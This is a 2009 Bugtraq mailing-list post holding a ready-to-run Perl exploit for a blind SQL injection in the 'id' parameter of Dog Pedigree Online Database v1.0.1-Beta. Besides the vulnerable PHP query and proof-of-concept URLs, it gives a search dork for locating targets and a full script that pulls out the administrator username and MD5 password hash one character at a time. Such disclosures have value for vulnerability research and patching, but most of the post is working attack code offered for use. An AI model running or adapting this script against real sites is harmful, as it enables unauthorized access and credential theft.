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Date: Tue, 19 May 2009 10:48:00 -0600
From: y3nh4ck3r@...il.com
To: bugtraq@...urityfocus.com
Subject: (GET var 'id') BLIND SQL INJECTION EXPLOIT --Dog Pedigree Online
Database v1.0.1-Beta -->
#!/usr/bin/perl
#
#
#------------------------------------------------------------------------------------------
#(GET var 'id') BLIND SQL INJECTION EXPLOIT --Dog Pedigree Online Database v1.0.1-Beta -->
#------------------------------------------------------------------------------------------
#
#CMS INFORMATION:
#
#-->WEB: http://thewhippetarchives.net/twa_is_offline.php
#-->DOWNLOAD: http://sourceforge.net/projects/dogarchive
#-->DEMO: N/A
#-->CATEGORY: Genealogy
#-->DESCRIPTION: This project allows to setup and maintain a database for
# collecting (dog) pedigrees. The data will actually be collected...
#-->RELEASED: 2009-01-25
#
#CMS VULNERABILITY:
#
#-->TESTED ON: firefox 3
#-->DORK: inurl:"printable_pedigree.php"
#-->CATEGORY: BLIND SQL INJECTION EXPLOIT
#-->AFFECT VERSION: <= 1.0.1 Beta
#-->Discovered Bug date: 2009-05-08
#-->Reported Bug date: 2009-05-08
#-->Fixed bug date: 2009-05-12
#-->Info patch (v1.0.2): http://sourceforge.net/projects/dogarchive/
#-->Author: YEnH4ckEr
#-->mail: y3nh4ck3r[at]gmail[dot]com
#-->WEB/BLOG: N/A
#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
#-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)
#
#
#-----------
#BUG FILES:
#-----------
#
#Path --> [HOME_PATH]/details.php
#Lines --> 135, 237-239
#
#It contents:
# ...
#
# $currId = $_GET['id'];
#
# ...
#
#
#$query = "SELECT dog.creator, users.userId, users.username FROM dog
# LEFT JOIN users ON dog.creator = users.userId WHERE id=$currId;";
#$result = mysql_query($query) or die('Query failed: ' . mysql_error());
#
# ...
#
#------------
#CONDITIONS:
#------------
#
#
#**Exist a valid id
#
#**magic quotes=off/on
#
#
#---------------------------------------
#PROOF OF CONCEPT (BLIND SQL INJECTION):
#---------------------------------------
#
#http://[HOST]/[HOME_PATH]/details.php?id=63174+and+1=1%23 --> True
#
#http://[HOST]/[HOME_PATH]/details.php?id=63174+and+1=0%23 --> False
#
#
#######################################################################
#######################################################################
##*******************************************************************##
## SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray ... ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
## GREETZ TO: SPANISH H4ck3Rs community! ##
##*******************************************************************##
#######################################################################
#######################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
$linux="0";
}else{
$linux="1";
}
if($linux){
system("clear");
}
else{
system("cls");
system ("title Dog Pedigree Online Database v1.0.1-Beta (GET var 'id') BLIND SQL Injection Exploit");
system ("color 04");
}
}
sub request {
my $userag = LWP::UserAgent->new;
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
my $request = HTTP::Request -> new(GET => $_[0]);
my $outcode= $userag->request($request)->as_string;
return $outcode;
}
sub helper {
print "\n\t[!-!] Dogarchive v1.0.1 Beta (GET var 'id') BLIND SQL Injection Exploit\n";
print "\t[!-!] USAGE MODE: [!-!]\n";
print "\t[!-!] perl $0 [HOST] [PATH] [id]\n";
print "\t[!-!] [HOST]: Web.\n";
print "\t[!-!] [PATH]: Home Path. Not use path= no-path\n";
print "\t[!-!] [id]: Valid id.\n";
print "\t[!-!] Example: perl $0 'www.example.es' 'dogarchive' '12545'\n";
}
sub error {
print "\t-----------------------------------------------------------------\n";
print "\tWEB IS NOT VULNERABLE!\n\n";
print "\tMaybe --> \n\n";
print "\t1.-Patched\n";
print "\t2.-id doesn't exist\n";
print "\t3.-it needs to change userId (Default:2252)\n\n";
print "\tEXPLOIT FAILED!\n";
print "\t-----------------------------------------------------------------\n";
}
sub testedblindsql {
print "\t-----------------------------------------------------------------\n";
print "\tWEB MAYBE BE VULNERABLE!\n\n";
print "\tTested Blind SQL Injection.\n";
print "\tStarting exploit...\n";
print "\t-----------------------------------------------------------------\n\n";
}
sub brute_length{
#User length
$exit=0;
$i=0;
while($exit==0){
my $blindsql=$_[0]."+AND+(SELECT+length(username)+FROM+users+WHERE+userId=2252)=".$i++."%23"; #injected code
$output=&request($blindsql);
if($output =~ (/\<td valign=\"top\"\>\<strong\>Known Offspring: \<\/strong\>\<\/td\>/)){
$exit=1;
}else{
$exit=0;
}
#Maybe patched. This is the max length of username
if($i>100){
&error;
exit(1);
}
}
#Save column length
$length=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tLength User catched!\n";
print "\tLength User: ".$length."\n";
print "\tBruteforcing User and Password values.\n";
print "\tWait several minutes (15 o 20 minutes)...\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";
return $length;
}
sub exploiting {
#Bruteforcing
$values="";
$k=1;
$z=48;
while(($k<=$_[1]) && ($z<=126)){
my $blindsql=$_[0].'+AND+ascii(substring((SELECT+'.$_[2].'+FROM+users+WHERE+userId=2252),'.$k.',1))='.$z.'%23';
$output=&request($blindsql);
if ($output =~ (/\<td valign=\"top\"\>\<strong\>Known Offspring: \<\/strong\>\<\/td\>/))
{
$values=$values.chr($z);
$k++;
$z=47;
}
#new char
$z++;
}
return $values;
}
#Main
&lw;
print "\t\t#########################################################\n\n";
print "\t\t#########################################################\n\n";
print "\t\t## Dogarchive v1.0.1 Beta - BLIND SQLi Exploit ##\n\n";
print "\t\t## Author: Y3nh4ck3r ##\n\n";
print "\t\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n";
print "\t\t## Proud to be Spanish! ##\n\n";
print "\t\t#########################################################\n\n";
print "\t\t#########################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $id=$ARGV[2];
#Build the uri
#Build the uri
if($path eq "no-path"){
$finalhost="http://".$host."/details.php?id=".$id;
}else{
$finalhost="http://".$host."/".$path."/details.php?id=".$id;
}
#Check all variables needed
$numArgs = $#ARGV + 1;
if($numArgs<=2)
{
&helper;
exit(1);
}
$finalrequest = $finalhost;
#Testing blind sql injection
$blindsql=$finalrequest."+AND+1/0%23";
$output=&request($blindsql);
if ($output !~ (/\<td valign=\"top\"\>\<strong\>Known Offspring: \<\/strong\>\<\/td\>/))
{
#blind sql injection is available
&testedblindsql;
}else{
#Not injectable
&error;
exit(1);
}
#Bruteforcing length
$length_user=&brute_length($finalrequest);
#Bruteforcing username...
$username=&exploiting($finalrequest,$length_user,'username');
#Bruteforcing password...
$passhash=&exploiting($finalrequest,32,'password');
#final checking (perhaps admin id is not 2252)
if((!$username) || (!$passhash)){
&error;
exit(1);
}
print "\n\t\t*************************************************\n";
print "\t\t********* EXPLOIT EXECUTED WITH SUCCESS ********\n";
print "\t\t*************************************************\n\n";
print "\t\tAdmin-username: ".$username."\n";
print "\t\tAdmin-password(md5 hash): ".$passhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done
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